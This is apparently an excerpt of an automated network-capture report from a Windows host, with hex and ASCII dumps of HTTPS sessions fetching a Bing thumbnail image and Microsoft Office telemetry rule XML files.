2024-11-23 20:59:19 UTC	8192	IN	Data Raw: 28 e7 f0 a4 d0 db da 6a 36 df 6b b6 8e 39 77 f9 7e 7a 7d c6 fa 55 ef 8c 97 93 b6 ad 22 69 f6 77 71 3d bc 7b 2e 74 e9 65 ff 00 57 ff 00 4d 1b fe 01 5e a9 ae 78 7f e1 d7 85 fc 31 65 e2 bf 1a de 69 f2 6a 36 7a 07 97 1e 93 24 be 76 cb 86 4f dd b3 2d 28 e2 1b e5 f6 d1 e6 8c f4 b1 d1 46 8b 86 a8 f9 5b e2 67 8c 75 bf 16 cd 6c 7c 41 a8 cd 70 62 8d 12 28 e4 fb 91 af fb 35 14 da 26 99 a8 59 d9 c1 a2 fd aa 4d 52 49 1f cc 8f 1f ba 48 95 3e f5 33 52 9e 16 d0 f7 c3 a6 c5 fe b7 fe 3f 6b 1e d2 fa ea de da 4f 36 59 77 c9 16 c8 f6 1f e1 6a fa ac 3d 15 0a 49 52 5c a9 74 5b 1b de 52 57 45 2d 60 c2 97 3b 52 53 22 7f 1d 6b fc 2d 8a 7b 8f 15 88 6d 61 37 13 49 13 c7 6d 1e 37 7c ed f2 af cb 58 fa c9 b1 30 db ad 94 32 c6 63 8f f7 ef 27 f1 bd 6f 7c 19 f1 c6 a5 f0 f7 c6 b1 78 8b 4b Data Ascii: (j6k9w~z}U"iwq={.teWM^x1eij6z$vO-(F[gul\|Apb(5&YMRIH>3R?kO6Ywj=IR\t[RWE-`;RS"k-{ma7Im7\|X02c'o\|xK
2024-11-23 20:59:20 UTC	8192	IN	Data Raw: 5a d9 c3 24 16 5f bc fd d4 bf fa 0d 74 7e 03 ff 00 84 7a 2f 06 fd ab c5 73 5a 5c 5f 7c ff 00 69 b6 8f fe 59 a7 f0 d6 47 c5 af 1b 78 7b c1 9e 26 f3 ec bc 98 e0 fe cd f3 2d a5 b6 95 3c 99 3f b9 1b ff 00 b5 5f 8c d1 a3 5d 4f 96 ce e9 9f 69 37 04 93 28 78 57 c3 97 76 fa 77 9f 6b a9 7d 8a 38 ff 00 79 fb df dc f9 6e c9 fc 55 46 fb c2 ba d3 f8 4f 52 d5 ee bc 55 fd a3 75 e5 bd be 9b 65 2c bb 3f 7b fe cd 73 de 38 d7 b5 2b 7f 16 49 06 bd a9 79 6f 7b 65 6d 7f 65 24 5f 3a 49 e6 ff 00 0c 95 06 a3 e1 ed 5b 53 fb 35 ef 84 2f 21 b7 f3 2f 7c bf 32 59 77 a5 bb af df 68 eb d4 58 6c 43 9a 72 92 b3 ee bf 53 8e ae 2a 34 95 ec 60 c9 e2 5d 33 c2 f0 c8 8f e1 b9 af 6e a4 b2 7b 4d 4a e7 52 bb df f3 ff 00 d3 1a c6 f1 a6 ab 1e b7 f0 f6 2b af 01 eb da b5 be a5 6f 6d 6d 69 ab 59 5c ff Data Ascii: Z$_t~z/sZ\_\|iYGx{&-<?_]Oi7(xWvwk}8ynUFORUue,?{s8+Iyo{eme$_:I[S5/!/\|2YwhXlCrS*4`]3n{MJR+ommiY\
2024-11-23 20:59:20 UTC	8192	IN	Data Raw: 76 7e 15 d2 2d 2d 35 0b 69 f5 bf f5 1f f2 d6 3f e3 ae cb 5c d0 f5 6d 33 cc d5 3c 37 fd ad a7 69 bf f5 d6 ba 6f 07 7c 18 f1 0e ab a8 47 a8 eb 10 c3 1f ef 3c b8 e3 97 fe 5a 7f be d5 d7 d8 d8 c7 a7 ea d7 3a 26 b7 a6 cd 71 1e 9d 27 97 fb af 9e bc 4c 46 32 82 9f 2d d3 36 52 9c 3d e8 9c 97 87 3e 2c ea d1 69 36 da 76 a1 79 35 e4 96 f1 f9 71 c9 2d 71 b6 36 da ef c4 2f 1c 44 97 53 4b 1c 92 6f f3 3f e9 9c 4b f3 35 7d 31 e0 ed 07 c3 d7 70 c7 aa 5a d9 da 5c 5f 49 73 e5 c7 1c b1 7f 07 f7 ea c5 ae 95 a1 78 67 50 92 f7 4e b3 b4 fb 75 c7 fc b4 fe 3a f2 3e b9 84 a5 29 7b 38 7b d6 ec 6c ab 57 a9 a4 cf 9d 75 2f 86 fa 2e 95 35 cc f3 79 d2 58 de db 7f a1 49 24 5b 3c b7 ff 00 6a bd 43 e0 7f 81 fc 27 e0 a9 bf e2 77 ac 5a 6a 37 5f f1 f1 65 fb df dc f9 ac 9f 35 74 de 22 b9 d3 75 Data Ascii: v~--5i?\m3<7io\|G<Z:&q'LF2-6R=>,i6vy5q-q6/DSKo?K5}1pZ\_IsxgPNu:>){8{lWu/.5yXI$[<jC'wZj7_e5t"u
2024-11-23 20:59:20 UTC	8192	IN	Data Raw: 5b 4a b4 b6 fb 2d 9c d2 41 7b 1f 99 1c 91 44 e9 fb af e1 d8 d5 46 4d 16 ef 53 b4 b6 74 87 ed ba 54 9e 74 92 79 5f df d9 fc 4d 5e 85 0c 37 b3 57 9e b1 45 4a 4a 51 f7 0e 4b e1 7f 81 64 f1 5d ad b3 f8 92 69 ad e7 93 f7 f1 7f d3 4d bf 79 2b d0 f5 5d 0f ed 76 91 dd 4f 79 34 96 ba 74 7f ba 8e 28 91 3f ef bf a5 71 b3 f8 da d3 4a d4 2d 9f fe 62 5e 67 fd b1 d9 b3 6d 6a 68 fe 35 9f 4f b5 fb 54 1f e9 11 c9 1f fa 6c 72 ff 00 cb 47 93 fb bf ec d7 44 95 46 ef 05 a7 44 67 ca ba 9b 3f db 57 f6 56 72 58 f9 d6 92 5a c9 27 97 e6 45 12 79 d5 ec 3e 15 fe c9 4d 26 37 d2 21 86 38 fc bf f5 92 fd fa f9 c7 c3 fe 3c f0 de 95 ab 7e ff 00 ca 8f ec ff 00 f4 c9 df e6 5f ba b5 e8 3a 57 8f 63 b8 87 fb 53 f7 36 fa 6c 92 24 72 47 f7 3f e0 4b 5c b8 88 d6 92 e5 5b 1c be c6 ce e7 a6 eb 13 c7 Data Ascii: [J-A{DFMStTty_M^7WEJJQKd]iMy+]vOy4t(?qJ-b^gmjh5OTlrGDFDg?WVrXZ'Ey>M&7!8<~_:WcS6l$rG?K\[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49730	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:19 UTC	375	OUT	GET /th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 20:59:19 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 835660 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 104FBAEB0FA84188BF65CE0F5036C82E Ref B: EWR311000101025 Ref C: 2024-11-23T20:59:19Z Date: Sat, 23 Nov 2024 20:59:18 GMT Connection: close
2024-11-23 20:59:19 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c 64 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 33 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``dExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:23:408
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: 82 26 fd f2 c9 27 cd ff 00 2c 69 d1 c7 3f 97 b9 53 e5 6f e3 aa 52 95 f7 38 6b 6a b5 64 72 47 e5 41 e5 af fa b6 fe 0a a2 b0 2a 49 be 34 dd b6 ad dd 45 2b c8 9f bc 8d da ab 63 3b be 7d ad 5b 43 53 86 a4 ba 14 e6 6d af ba 3f bd 51 b1 95 a4 ab d3 27 97 fd da af 70 aa 7e 65 ad 14 50 e1 3b 91 ac bf dd 4a 31 24 8f fe f5 3d 91 47 dd 7f 9a a5 b7 45 f3 37 48 ff 00 2d 1a 0d c9 21 ab 6c d6 bf bd 3f 35 41 71 27 99 f7 aa cd d6 d2 fb 43 ff 00 c0 aa ab 06 67 da b5 36 08 5d ea f7 22 64 6a 23 4c 7d ea b3 e5 7c 9c 54 a6 2d bf 7a 8d 8a 75 0a 6a 1b 75 5c b7 2c 29 70 b5 23 47 f2 ee a6 8c a5 52 e5 ab 39 3c df f7 aa d4 47 1f 76 b3 6d 65 f2 fe 5a d0 b7 7d d4 8e 2a b1 b3 f2 2d c6 8c d4 93 44 bf c5 4f 8d d7 7e d5 ff 00 81 54 db 73 d6 8d ce 27 26 99 4d 76 fd c5 4a 9e 35 53 f2 d0 d1 Data Ascii: &',i?SoR8kjdrGAI4E+c;}[CSm?Q'p~eP;J1$=GE7H-!l?5Aq'Cg6]"dj#L}\|T-zuju\,)p#GR9<GvmeZ}-DO~Ts'&MvJ5S
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: 09 22 c1 24 5f f3 f7 e4 c8 bf 6c 7f b9 9f 9f 9f 94 ee ae 4b c3 be 24 b1 d7 b5 5d 26 f2 4d 76 ea de 4f 9b ed 71 43 b5 9b 9d fb b6 f0 31 9f ba 77 67 e5 ad 3f b4 58 ea 3e 2a 5d 37 4b d7 92 5d 3f ec fe 57 92 ef 27 9f 32 ed d8 51 8a af de 46 e4 0f 4a d6 38 49 54 4e 37 e5 fc cf 62 9c e5 5a 16 93 1b aa 58 68 be 64 d6 77 9e 1e 82 5b 88 bf 7f 6f 35 a4 0b 3c f6 79 fb b1 e1 ff 00 8b ee f4 5c d7 25 e3 2f 08 bc 1a 83 6a ba c6 85 ac 45 75 3b ac 76 2f 7d 1b 5a ad 9a 8f bb e5 27 43 fe 73 5e 91 63 f6 6f 07 f8 ab fb 63 c2 ff 00 f0 91 c5 34 56 fb 5d f5 68 3c fb 37 90 af cb f3 a1 dc 9e d5 e7 9f 1a a4 f1 7c 57 56 fa 96 a1 ab 5d 4f ab 5e 6e 93 ec f7 73 ac ed 6a bf ec 7c d8 da 47 d2 bb 30 35 31 34 2b a8 c6 dc bd db 6f ee 5f ad ce 2a 98 58 c6 77 b1 e7 fe 28 f1 4d 9f 87 ee ae ed Data Ascii: "$_lK$]&MvOqC1wg?X>]7K]?W'2QFJ8ITN7bZXhdw[o5<y\%/jEu;v/}Z'Cs^coc4V]h<7\|WV]O^nsj\|G0514+o_Xw(M
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: ea fa c2 c5 1b 7b 7f a4 5c 3b 45 3b e5 bf da c8 e0 7f 74 54 77 5e 21 d7 2f ee ad e1 f0 ae 9b 1b 69 ff 00 6b 68 a5 86 ee e9 a5 fb 4a 86 f9 9e 2f 37 3b 91 4f f7 5b 23 d2 b6 ef b5 4f 0e 6a f6 3f 65 ff 00 89 ad be b5 14 cd 14 df 67 4f dd 4d 1f f7 70 f8 08 cb b7 b1 ae 9a b8 74 af 28 68 df 5e a6 d0 ad 39 db 99 68 50 9b c5 12 e8 9a 6a 5c 6a 17 fe 6c 76 bf 2a 5c 79 7f 71 8b 7d ef f6 c5 69 37 8a e3 d2 3c 54 8d a7 c1 23 42 d0 aa dc 5b c3 f3 2b b7 97 f3 4b bb 77 7d db f3 f4 ac df 1a 41 e1 cd 7b c3 30 d9 e9 be 65 d3 7d ad 7e dc f3 3b 79 bb 47 f0 c6 bf 77 6f cb cb 2f f0 d6 3c 97 1a 36 93 a9 4d 75 fd a5 6b fd 9b 15 a4 3b 2f ac 77 4f b3 7a f0 a3 23 e4 db b3 9a e4 a7 84 52 a7 7b 6a cc ea 62 39 aa 28 5f 44 77 eb e2 bb 3d 2f ed 7a b4 97 f2 34 cb 6f e5 42 9b 15 9b ea 71 c3 Data Ascii: {\;E;tTw^!/ikhJ/7;O[#Oj?egOMpt(h^9hPj\jlv*\yq}i7<T#B[+Kw}A{0e}~;yGwo/<6Muk;/wOz#R{jb9(_Dw=/z4oBq
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: cf 4a d4 f1 e4 f0 4f e3 14 d6 9a c6 d6 fe 15 99 96 6b 4d 8b b5 23 0b 80 0d 75 37 5a 47 82 6f 2e ad ef 26 82 35 fb 46 d5 89 13 e5 fd e1 ff 00 57 f2 8f bb 5c 4a bf b2 84 6a 49 b6 e4 bf a4 6d 28 ab b5 d1 1c 4a cf 73 6b 3f 9d 67 e6 5b c7 2a 2e c7 77 dc af f2 8f 97 d0 f5 e4 76 ad 7d 3f 50 b3 b7 d3 7e c2 b1 c0 cd 2b af da 13 63 79 5b 7a fc f5 9f e3 23 2e 9b a9 5c 47 e4 79 b0 da bc 8b 0f cf e6 f9 39 c2 02 bd b7 66 ad 78 46 ca f2 d6 7b 18 f5 0b 4b ab 8d 16 f2 66 89 37 ce b7 52 c2 c5 b6 3f cb c3 2f ad 6b 2c 3c 2b 43 9d 7a 82 aa e0 56 f1 06 8f e1 36 d0 ef af 23 d2 64 ba 6d eb 3d c2 23 b6 de 57 1b be 6f e1 03 ff 00 1e ac 8d 1f c1 fa 44 f3 ea 0b a6 ea 5f 60 fb 3d db 4f 35 c3 dd 47 6b 14 2a 57 6a 05 77 fb df f0 1e b5 df dc 78 93 4f b3 d5 6e e3 59 2c 62 b8 b7 45 8a 1f Data Ascii: JOkM#u7ZGo.&5FW\JjIm(Jsk?g[.wv}?P~+cy[z#.\Gy9fxF{Kf7R?/k,<+CzV6#dm=#WoD_`=O5GkWjwxOnY,bE
2024-11-23 20:59:20 UTC	16384	IN	Data Raw: e0 ab 75 1f 85 6e e5 15 4a 4a 4b 6f d0 d3 0f 5e a3 9b 8d f4 46 fd 8e 9f a3 5b dd 5c 79 9a 2f db fe 75 59 b6 22 ed 75 ec bf 7b 3f 85 4b 75 06 95 0d f5 c6 a1 71 77 6b a3 5a c5 fe 9d 71 6c 9b 9b ed 32 0e df 37 1c 74 0b eb 51 e8 fa ce a5 06 a9 fd 93 a4 f8 7b 43 d4 7e cf e6 45 6f 7d e7 b2 cf 37 4c 3c 9f c2 d8 eb da b2 35 8f 0f f8 f1 75 cd b7 5a 6e 9d 71 35 e7 ef f6 3c eb 2a a3 6e f9 47 5c 27 0d f8 d7 24 a2 e4 ec de e7 75 4a f4 55 ae 53 9b e2 2d a6 ad e2 3b b9 21 9e fa 2f 36 25 68 5f e5 5f 25 51 be 7f 97 ee b7 bd 77 3e 1b 95 6f 77 dc 2e a5 26 a8 ab 71 fb eb 7b 89 fe 59 94 2e ef 2f d7 7f 6e 78 f9 78 35 e1 ea d7 9f f0 94 26 9b 71 63 e4 2c 57 2a b7 d2 bd 92 fc f3 19 33 b3 76 7e 4c 7c d8 ad ff 00 0e c5 ae 5c f8 c2 d3 4f d0 63 d5 6f d5 62 f9 e5 74 f2 9b ef 79 92 21 Data Ascii: unJJKo^F[\y/uY"u{?KuqwkZql27tQ{C~Eo}7L<5uZnq5<nG\'$uJUS-;!/6%h__%Qw>ow.&q{Y./nxx5&qc,W3v~L\|\Ocobty!
2024-11-23 20:59:20 UTC	16384	IN	Data Raw: 6f 6b a2 df dd 69 b1 dc 43 b6 de 17 83 cd df 1c 6c 33 b7 76 07 bf f7 ab bd 61 60 e0 9b 96 9e a2 72 b7 bd 73 27 c4 c7 c4 be 28 92 6d 3f 47 d3 75 2f b5 7f aa 87 c9 db 13 24 83 38 f3 a4 cf c9 bc 71 b1 7f 13 5d 57 8c 3c 35 63 75 e0 38 61 bc 83 fe 26 9a 4b ab 5d df 4d 74 b1 6f 8c 28 f3 36 aa f4 cb f4 f5 15 c8 f8 cb 5b d7 2e a7 d2 61 87 56 8e ea f1 51 65 b8 b7 44 dd fb ce 4f fa b1 f7 f0 bb 78 cd 5a f0 df 8d f5 3b 3b 19 ac fc 69 e7 dd 5a dc 5c 2f fa 3d ba 2c 4b b7 b7 98 c9 bb 72 83 db b5 75 d1 aa a1 4e 2e 0b 4f c4 c6 53 4f 5d cd 3d 43 e1 dd e6 93 a5 4d 6a b1 dd 6a 56 7b 37 25 be 97 02 ed 4d 8d f3 33 ab b0 27 7a e7 eb 5c 5a f8 56 c7 54 9d 1a 1f 0d d8 b2 ad c2 db 5a 5b ea 36 ac cd 34 85 77 fe e9 15 48 5c 77 cd 7a 0d c6 bf 16 a5 75 a8 47 ae 78 b2 3b 8b 86 b7 56 4b Data Ascii: okiCl3va`rs'(m?Gu/$8q]W<5cu8a&K]Mto(6[.aVQeDOxZ;;iZ\/=,KruN.OSO]=CMjjV{7%M3'z\ZVTZ[64wH\wzuGx;VK
2024-11-23 20:59:20 UTC	16069	IN	Data Raw: aa a6 ff 00 ba ed df 8a ca 78 9a 69 39 4a 1a 1b 73 54 b6 fa 94 3e 0f e8 6b 71 6f 71 33 7d bb ed 92 ee 89 21 87 e5 57 52 a3 a9 35 93 e2 4d 03 c6 ba 5d ad c6 a9 67 a1 7d 82 16 9b 6d 8d bf 96 db b7 37 a7 f7 7d 79 af 78 f0 ed 9a b4 1b ad 60 8f 6b 7c a9 b1 36 b2 29 ff 00 0a a7 e2 ef 0f 6a 16 1e 19 be bc 8e ff 00 ed 97 0d b7 c9 b4 d8 cd bd 8f 19 5e 6b e6 aa e3 63 ed b6 56 7d 19 eb 61 79 9c 52 b9 e2 bf d9 ba 7d e7 82 d2 f2 f2 7f ec bd 72 7b 85 8e f9 2d d3 6b 23 15 db 9d a7 85 5f 5c 57 61 f1 f3 4d f1 77 89 ec b4 cd 07 58 d3 1f 56 ba 5b 48 56 de 5d 26 c6 35 96 e6 3d bf 24 8f c0 f9 b7 71 fe ed 75 d6 7a 3c be 14 f0 ed c7 99 a4 c1 aa 78 c2 2d d3 d8 ff 00 67 5a ac fb 30 b8 f9 8b ff 00 10 af 2b d7 3c 43 f1 47 c1 fa f2 7d aa 0b a5 fe d6 89 99 fe 4d d1 ed 3d 9f 67 a7 a7 Data Ascii: xi9JsT>kqoq3}!WR5M]g}m7}yx`k\|6)j^kcV}ayR}r{-k#_\WaMwXV[HV]&5=$quz<x-gZ0+<CG}M=g
2024-11-23 20:59:20 UTC	16384	IN	Data Raw: 79 d7 56 49 77 19 42 85 5f f8 73 fc 43 dc 76 ab 1a 06 93 71 af 6a ed 1d b2 3a 42 9f 34 d2 ec dc b6 f1 ff 00 79 ea 55 a1 e8 67 a5 3b ff 00 2a 31 6a c5 cf 98 15 63 7d d9 5f e1 35 b9 e1 d7 f0 fd 8f c4 0b 57 d4 a0 92 fb 47 82 e3 f7 a9 17 de 99 05 47 f1 22 7d 3e e3 c6 17 b2 69 71 c8 96 ad 2e 51 1f ef 2f b5 1c fe fa 56 05 52 f5 14 6d a5 ae 57 d6 b5 75 be d1 b4 db 15 b2 8a 1f ec f8 99 4c ab f7 a5 cb 67 2d 59 4a 71 c8 eb 4c a2 aa 31 51 56 46 91 8a 8a b2 3a ed 3f 50 f0 e6 ab e3 1b 5b 8f 11 25 cd a6 99 1d be d9 cd a2 2b 48 ee b1 f6 cf 1f 33 55 8d 57 4c f0 d5 cf 80 e0 d5 ac ae 05 8d e2 ca e8 6d e6 66 66 b8 c6 09 e9 d3 15 c4 d2 ee f9 76 d6 72 a3 76 9c 64 d5 8c 7e ae 93 8f 2b 6a c2 51 45 15 b1 d0 14 51 45 00 14 51 45 00 14 51 45 00 7d a5 0e b1 7d 2c 96 8b a3 da 58 ad Data Ascii: yVIwB_sCvqj:B4yUg;*1jc}_5WGG"}>iq.Q/VRmWuLg-YJqL1QVF:?P[%+H3UWLmffvrvd~+jQEQEQEQE}},X
2024-11-23 20:59:20 UTC	16384	IN	Data Raw: da da 38 2d 74 fb e5 92 37 bc b0 48 65 bb d3 ae 1d be 48 dd 43 a6 f4 fe e8 e8 71 fd ea e6 f5 2f 07 7c 44 bf f1 e3 f8 7f 4f d2 6c 5a fa ea 15 96 d2 e1 35 18 d5 66 8c ae ed f1 3b 60 3f cb f8 8a ed c3 50 95 79 73 de fd ce 65 89 8a 86 81 e0 ff 00 18 68 76 52 6b 9a a6 ad 69 e6 dc 45 69 0b 58 bc a8 cd 02 4d e6 61 c4 a7 f8 17 69 aa de 07 d5 2f 35 08 f5 9b 3d 35 e0 d6 ed ed ed fc a9 a1 49 fc af 94 f0 9c f3 f2 8f bf df 9a d3 f0 bd b6 a1 a7 68 f7 6b a8 47 22 ea 57 1f 7d de 0d cb 33 23 6d 41 d3 6c 8a ff 00 3a 1f f6 aa cf c3 5b dd 2b fb 37 c4 9e 1d 87 4d 8f 4b b8 f1 1e 9c ca f7 c9 6a ab f6 28 d1 86 f9 3b 73 e9 fe e5 7b 54 69 51 49 d3 6b fe 1c e7 a9 29 3d 4f 37 d7 be 14 f8 ba 5b d8 b5 1d 4a f6 d2 0b 79 62 55 0e ee bb 6e 58 c9 f2 aa 22 f5 5e 7a f1 51 f8 ae 35 d2 fc 10 Data Ascii: 8-t7HeHCq/\|DOlZ5f;`?PysehvRkiEiXMai/5=5IhkG"W}3#mAl:[+7MKj(;s{TiQIk)=O7[JybUnX"^zQ5

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:20 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205920Z-15b8b599d889gj5whC1TEBfyk000000003bg00000000497r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:20 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205920Z-178bfbc474bv587zhC1NYCny5w00000004ug00000000d70g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:20 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205920Z-174c587ffdfcb7qhhC1TEB3x7000000003dg00000000rbe5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data 